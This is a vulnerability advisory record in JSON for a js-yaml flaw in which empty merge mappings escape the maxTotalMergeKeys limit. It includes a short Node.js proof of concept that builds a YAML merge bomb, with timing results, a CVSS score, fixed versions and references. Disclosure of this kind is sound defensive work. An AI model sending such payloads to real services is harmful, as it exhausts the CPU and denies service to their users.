{"id":"CVE-2026-84375","aliases":["GHSA-2883-xcg3-v3hh"],"url":"https://o3.security/vulnerability/CVE-2026-84375","summary":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","details":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nAn attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount each merge-source mapping as one budget unit, in addition to counting its keys.\n\n## Difference with v5\n\nIn v3 & v4, merge is enabled by default. So, the severity score is higher.","published":"2026-09-01T21:43:13.617Z","modified":"2026-09-30T03:30:23.787073494Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00385,"percentile":0.32173,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"js-yaml","fixedVersion":"4.3.2"},{"ecosystem":"npm","name":"js-yaml","fixedVersion":"3.15.2"}],"fix":{"url":"https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639","label":"nodeca/js-yaml@3485bc0"},"references":[{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.2"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.2"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84375.json"},{"type":"ADVISORY","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84375"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b"},{"type":"FIX","url":"https://github.com/nodeca/js-yaml/pull/797"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-30T03:30:23.787073494Z"}}